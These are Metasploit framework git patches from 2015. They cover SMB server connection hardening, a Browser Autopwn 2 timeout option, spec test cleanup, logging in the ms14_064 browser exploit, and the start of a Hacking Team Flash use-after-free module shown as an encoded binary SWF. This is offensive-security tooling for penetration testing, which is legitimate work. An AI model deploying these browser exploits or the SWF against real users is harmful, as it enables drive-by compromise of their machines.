--- a/lib/msf/core/exploit/smb/server.rb +++ b/lib/msf/core/exploit/smb/server.rb @@ -18,8 +18,18 @@ module Msf deregister_options('SSL', 'SSLCert') register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 445 ]) ], self.class) + + register_advanced_options( + [ + OptInt.new('SMBServerMaximumBuffer', [ true, 'The maximum number of data in megabytes to buffer', 2 ]), + OptInt.new('SMBServerIdleTimeout', [ true, 'The maximum amount of time to keep an idle session open in seconds', 120 ]) + ], self.class) + + @smb_server_last_pool_sweep = Time.now.to_f + @smb_server_pool_mutex = Mutex.new + @smb_server_request_counter = 0 end def setup @@ -44,16 +54,58 @@ module Msf def smb_conn(c) @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport} + smb_pool_update(c) end def smb_stop(c) + # Make sure the socket is closed + begin + c.close + # Handle any number of errors that a double-close or failed shutdown can trigger + rescue ::IOError, ::EOFError, + ::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED, + ::Errno::ETIMEDOUT, ::Errno::ENETRESET, ::Errno::ESHUTDOWN + end + + # Delete the state table entry @state.delete(c) end def smb_recv(c) smb = @state[c] smb[:data] ||= '' - smb[:data] << c.get_once + + buff = '' + begin + buff = c.get_once(-1, 0.25) + # Handle any number of errors that a read can trigger depending on socket state + rescue ::IOError, ::EOFError, + ::Errno::ECONNRESET, ::Errno::ENOTCONN, ::Errno::ECONNABORTED, + ::Errno::ETIMEDOUT, ::Errno::ENETRESET, ::Errno::ESHUTDOWN + vprint_status("Dropping connection from #{smb[:name]} due to exception: #{$!.class} #{$!}") + smb_stop(c) + return + end + + # The client said it had data, but lied, kill the session + unless buff and buff.length > 0 + vprint_status("Dropping connection from #{smb[:name]} due to empty payload...") + smb_stop(c) + return + end + + # Append the new data to the buffer + smb[:data] << buff + + # Prevent a simplistic DoS if the buffer is too big + if smb[:data].length > (1024*1024*datastore['SMBServerMaximumBuffer']) + vprint_status("Dropping connection from #{smb[:name]} due to oversized buffer of #{smb[:data].length} bytes...") + smb_stop(c) + return + end + + # Update the last-seen timestamp and purge old entries + smb_pool_update(c) while(smb[:data].length > 0) @@ -95,10 +147,11 @@ module Msf pkt = CONST::SMB_BASE_PKT.make_struct pkt.from_s(buff) - # Only response to requests, ignore server replies + # Only respond to requests, ignore server replies if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0) - print_status("Ignoring server response from #{smb[:name]}") - next + vprint_status("Dropping connection from #{smb[:name]} due to missing client request flag") + smb_stop(c) + return end cmd = pkt['Payload']['SMB'].v['Command'] @@ -149,6 +202,38 @@ module Msf pkt['Payload']['SMB'].v['ErrorClass'] = errorclass c.put(pkt.to_s) end + + # Update the last-seen timestamp and purge old entries + def smb_pool_update(c) + + @state[c][:last_action] = Time.now.to_f + @smb_server_request_counter += 1 + + unless @smb_server_request_counter % 100 == 0 || + @smb_server_last_pool_sweep + datastore['SMBServerIdleTimeout'].to_f < Time.now.to_f + return + end + + # Synchronize pool sweeps in case we move to threaded services + @smb_server_pool_mutex.synchronize do + purge_list = [] + + @smb_server_last_pool_sweep = Time.now.to_f + + @state.keys.each do |sc| + if @state[sc][:last_action] + datastore['SMBServerIdleTimeout'].to_f < Time.now.to_f + purge_list << sc + end + end + + # Purge any idle connections to rescue file descriptors + purge_list.each do |sc| + vprint_status("Dropping connection from #{@state[sc][:name]} due to idle timeout...") + smb_stop(sc) + end + end + end + end end From e16cd08599ff15411b83dbc906d607cdfcc81d9f Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Mon, 6 Jul 2015 17:16:56 -0400 Subject: [PATCH 0664/1013] Update the payload CachedSize --- modules/payloads/stagers/python/reverse_tcp_uuid.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/stagers/python/reverse_tcp_uuid.rb b/modules/payloads/stagers/python/reverse_tcp_uuid.rb index 0b5e7878d2..ebb0a1d9d5 100644 --- a/modules/payloads/stagers/python/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/python/reverse_tcp_uuid.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit4 - CachedSize = 442 + CachedSize = 446 include Msf::Payload::Stager include Msf::Payload::Python From 4a70e23f9aa0ec81d409945b8d5f105783732922 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 6 Jul 2015 19:20:15 -0500 Subject: [PATCH 0665/1013] Add ExploitReloadTimeout datastore option Some exploits require more time, and if we try the next exploit too soon, it may crash the browser. --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- modules/auxiliary/server/browser_autopwn2.rb | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index a75b95cf02..9e59061fd3 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -811,7 +811,7 @@ module Msf var firstUri = exploitList.splice(0, 1); if (firstUri != '') { e.setAttribute("src", firstUri); - setTimeout("loadExploit()", 1000); + setTimeout("loadExploit()", #{datastore['ExploitReloadTimeout']}); } } | diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index 95a70337ee..8c8d967344 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -77,6 +77,7 @@ class Metasploit3 < Msf::Auxiliary ], self.class) register_advanced_options([ + OptInt.new('ExploitReloadTimeout', [false, 'Number of milliseconds before trying the next exploit', 3000]), OptInt.new('MaxExploitCount', [false, 'Number of browser exploits to load', 20]), OptString.new('HTMLContent', [false, 'HTML Content', '']), OptAddressRange.new('AllowedAddresses', [false, "A range of IPs you're interested in attacking"]), From a9eeae56cb59e51a90bf5c83b65c7dc3581d5084 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 6 Jul 2015 22:24:32 -0500 Subject: [PATCH 0666/1013] Remove the broken parts in browser_autopwnv2_spec --- .../core/exploit/browser_autopwnv2_spec.rb | 88 +------------------ 1 file changed, 1 insertion(+), 87 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index eef314059e..2e811b8696 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -391,23 +391,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#note_type_prefix' do - it 'returns an unique note type' do - expect(subject.note_type_prefix).to match(/^BAP\.\d+\.Client$/) - end - end - - describe '#rm_target_info_notes' do - before(:each) do - allow(subject).to receive(:note_type_prefix).and_return("#{note_type_prefix}.#{profile_tag}") - end - - it 'empties target_info_notes' do - subject.rm_target_info_notes - expect(subject.framework.db.notes).to be_empty - end - end - context 'when removing jobs' do describe '#rm_exploit_jobs' do before(:each) do @@ -456,9 +439,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do expect(xploit.datastore['URIPATH']).to match(/^\/\w+/) end - it 'sets Msf::Exploit::Remote::BrowserAutopwnv2 as MODULEOWNER' do - expect(xploit.datastore['MODULEOWNER']).to eq(Msf::Exploit::Remote::BrowserAutopwnv2) - end end end @@ -535,7 +515,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do it 'returns one exploit' do expect(subject.instance_variable_get(:@bap_exploits).length).to eq(3) - allow(subject).to receive(:datastore).and_return({'MaxExploits'=>1}) + allow(subject).to receive(:datastore).and_return({'MaxExploitCount'=>1}) subject.finalize_sorted_modules(bap_groups) expect(subject.instance_variable_get(:@bap_exploits).length).to eq(1) end @@ -738,23 +718,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#show_real_list' do - before(:each) do - allow(subject).to receive(:set_exploit_options) - subject.instance_variable_set(:@bap_exploits, []) - subject.init_exploits - allow(subject).to receive(:retrieve_tag) - unpacked_profile = MessagePack.unpack(profile_packed_data) - allow(subject).to receive(:get_profile_info).and_return(unpacked_profile) - end - - it 'shows exploits' do - suitable_exploits = subject.get_suitable_exploits(cli, cli_req) - output = get_stdout { subject.show_real_list('127.0.0.1', profile_tag, suitable_exploits) } - expect(output).to include('ms14_064_ole_code_execution') - end - end - describe '#set_payload' do it 'shows set_payload' do output = get_stdout { subject.set_payload } @@ -763,25 +726,6 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#get_suitable_exploits' do - before(:each) do - allow(subject).to receive(:set_exploit_options) - subject.instance_variable_set(:@bap_exploits, []) - subject.init_exploits - allow(subject).to receive(:retrieve_tag) - unpacked_profile = MessagePack.unpack(profile_packed_data) - allow(subject).to receive(:get_profile_info).and_return(unpacked_profile) - end - - context 'when client is Windows' do - it 'returns ms14_064' do - suitable_exploits = subject.get_suitable_exploits(cli, cli_req) - expect(suitable_exploits.length).to eq(1) - expect(suitable_exploits.first.fullname).to eq('windows/browser/ms14_064_ole_code_execution') - end - end - end - describe '#log_click' do let(:ip) { '192.168.1.123' } @@ -827,35 +771,5 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do end end - describe '#build_html' do - before(:each) do - ms14_064 = create_fake_ms14_064 - allow(subject).to receive(:get_suitable_exploits).and_return([ms14_064]) - url_list = subject.get_exploit_urls(cli, cli_req) - allow(subject).to receive(:get_exploit_urls).and_return(url_list) - end - - let(:html) do - subject.build_html(cli, cli_req) - end - - context 'it returns javascript functions' do - it 'contains the setElementStyle function' do - expect(html).to match(/function setElementStyle/) - end - - it 'contains the moveIframe function' do - expect(html).to match(/function moveIframe/) - end - - it 'contains the onload function' do - expect(html).to match(/window\.onload = function/) - end - - it 'contains the loadExploit function' do - expect(html).to match(/function loadExploit/) - end - end - end end \ No newline at end of file From 9a1500ee966c4e6e2ac4c992ecd5d725695053b0 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 6 Jul 2015 22:31:07 -0500 Subject: [PATCH 0667/1013] Change module name a little bit, makes it easier to find in GUI --- modules/auxiliary/server/browser_autopwn2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index 8c8d967344..96558e0c26 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => "HTTP Client Automatic Exploiter (Browser Autopwn)", + 'Name' => "HTTP Client Automatic Exploiter 2 (Browser Autopwn)", 'Description' => %q{ This module will automatically serve browser exploits. Here are the options you can configure: From 6d30dfd93e536f5f25c48b2d43976c7e84cd936d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 6 Jul 2015 23:28:52 -0500 Subject: [PATCH 0668/1013] Remove the parts that are not broken for BES spec --- .../remote/browser_exploit_server_spec.rb | 74 +------------------ 1 file changed, 1 insertion(+), 73 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 74a3620147..78efa7e5d8 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -113,43 +113,6 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - describe '#get_bad_requirements' do - let(:this_profile) do - MessagePack.unpack(first_packed_profile) - end - - let(:requirements) { {} } - - before(:each) do - r = server.instance_variable_get(:@requirements) - requirements.each_pair do |key, value| - r[key] = value - end - - server.instance_variable_set(:@requirements, r) - end - - context 'when all requirements are met' do - let(:requirements) { first_profile_info } - it 'returns an empty bad requirement array' do - expect(server.get_bad_requirements(this_profile)).to be_empty - end - end - - context 'when the os_name requirement is not met' do - let(:requirements) { {'os_name'=>'Linux'} } - it 'returns os_name in the array as a bad requirement' do - expect(server.get_bad_requirements(this_profile)).to eq(['os_name']) - end - end - - context 'when a Linux regex cannot match a Winodws os_name' do - let(:requirements) { {'os_name'=>/Linux/} } - it 'returns os_name in the array as a bad requirement' do - expect(server.get_bad_requirements(this_profile)).to eq(['os_name']) - end - end - end describe '#get_detection_html' do it "returns the detection code that the client will get" do @@ -179,30 +142,11 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - describe '#try_set_target' do - let(:fake_targets) do - target = double('Msf::Module::Target') - allow(target).to receive(:opts) { first_profile_info } - [target] - end - - before(:each) do - allow_any_instance_of(described_class).to receive(:targets) { fake_targets } - end - - context 'when requirements match a target' do - it 'sets @target' do - expect(server.get_target).to be_nil - server.try_set_target(MessagePack.unpack(first_packed_profile)) - expect(server.get_target).to eq(fake_targets.first) - end - end - end describe 'extract_requirements' do context 'when a recognizable requirement is given' do it 'returns a hash that contains the recognizable requirement' do - expected_hash = {'os_name'=>'Linux'} + expected_hash = {:os_name=>'Linux'} expect(server.extract_requirements(expected_hash)).to eq(expected_hash) end end @@ -269,13 +213,6 @@ describe Msf::Exploit::Remote::BrowserExploitServer do @on_request_exploit_called = false end - context 'when / is requested' do - it 'sends the information gathering page' do - cli_request = Rex::Proto::Http::Request.new - server.on_request_uri(cli, cli_request) - expect(@send_redirect_called).to be_truthy - end - end context 'when info_receiver_page is requested' do it 'sends an empty page' do @@ -297,15 +234,6 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - context 'when exploit_receiver_page is requested' do - it 'calls on_request_exploit' do - exploit_receiver_page_var = server.instance_variable_get(:@exploit_receiver_page) - cli_request = Rex::Proto::Http::Request.new - cli_request.uri = exploit_receiver_page_var - server.on_request_uri(cli, cli_request) - expect(@on_request_exploit_called).to be_truthy - end - end end describe '#get_payload' do From dc0ce88279af42db2fbc3c6efb05e633d2a96bcf Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 7 Jul 2015 00:32:20 -0500 Subject: [PATCH 0669/1013] We're note actually using Mubex, it might be causing a crash too A problem we are seeing is that sometimes when BAP terminates (ie: jobs -K), we hit a deadlock while jobs are trying to cleanup, and sometimes that might cause msfconsole to crash and terminate. We suspect this Mubex is a contributing factor but it has been hard to prove because it's very hard to reproduce the crash. --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 4b7cdffbf0..58599cc2b7 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -108,7 +108,7 @@ module Msf if !custom_404.blank? && custom_404 !~ /^http/i raise Msf::OptionValidateError.new(['Custom404 (must begin with http or https)']) end - @bes_mutex = Mutex.new + super end @@ -144,14 +144,6 @@ module Msf end - # Allows a block of code to access BES resources in a thread-safe fashion - # - # @param block [Proc] Block of code to sync - def sync(&block) - @bes_mutex.synchronize(&block) - end - - # Returns the resource (URI) to the module to allow access to on_request_exploit # # @return [String] URI to the exploit page From c37b60de7b2d22b59af76bd0d4e60623db23033d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 7 Jul 2015 00:57:37 -0500 Subject: [PATCH 0670/1013] Do some print_status with ms14_064 --- modules/exploits/windows/browser/ms14_064_ole_code_execution.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb index 34240e01a5..99cd39a738 100644 --- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -375,6 +375,7 @@ end function # It should be \r\n . vbs = Msf::Util::EXE.to_exe_vbs(data).gsub(/\x0a/, "\r\n") + print_status("Sending VBS stager") send_response(cli, vbs) else # The VBS technique is only for Windows XP. So if a non-XP system is requesting it, @@ -382,6 +383,7 @@ end function send_not_found(cli) end else + print_status("Sending exploit...") send_exploit_html(cli, get_html) end end From d9aacf2d41539e5e2347197230a4f9b5b66ce44c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 7 Jul 2015 11:19:48 -0500 Subject: [PATCH 0671/1013] Add module for hacking team flash exploit --- data/exploits/hacking_team/msf.swf | Bin 0 -> 29417 bytes external/source/exploits/hacking_team/Elf.as | 235 +++++++++++ .../source/exploits/hacking_team/Exploit.as | 37 ++ .../exploits/hacking_team/ExploitByteArray.as | 85 ++++ .../exploits/hacking_team/ExploitVector.as | 75 ++++ .../source/exploits/hacking_team/Exploiter.as | 399 ++++++++++++++++++ .../source/exploits/hacking_team/Logger.as | 32 ++ .../source/exploits/hacking_team/MyClass.as | 93 ++++ .../source/exploits/hacking_team/MyClass1.as | 9 + .../source/exploits/hacking_team/MyClass2.as | 115 +++++ external/source/exploits/hacking_team/PE.as | 72 ++++ .../browser/adobe_flash_hacking_team_uaf.rb | 143 +++++++ 12 files changed, 1295 insertions(+) create mode 100755 data/exploits/hacking_team/msf.swf create mode 100755 external/source/exploits/hacking_team/Elf.as create mode 100755 external/source/exploits/hacking_team/Exploit.as create mode 100755 external/source/exploits/hacking_team/ExploitByteArray.as create mode 100755 external/source/exploits/hacking_team/ExploitVector.as create mode 100755 external/source/exploits/hacking_team/Exploiter.as create mode 100755 external/source/exploits/hacking_team/Logger.as create mode 100755 external/source/exploits/hacking_team/MyClass.as create mode 100755 external/source/exploits/hacking_team/MyClass1.as create mode 100755 external/source/exploits/hacking_team/MyClass2.as create mode 100755 external/source/exploits/hacking_team/PE.as create mode 100644 modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb diff --git a/data/exploits/hacking_team/msf.swf b/data/exploits/hacking_team/msf.swf new file mode 100755 index 0000000000000000000000000000000000000000..6c2d91cdcc18d1dce6aebf1f909d867b72007e9c GIT binary patch literal 29417 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 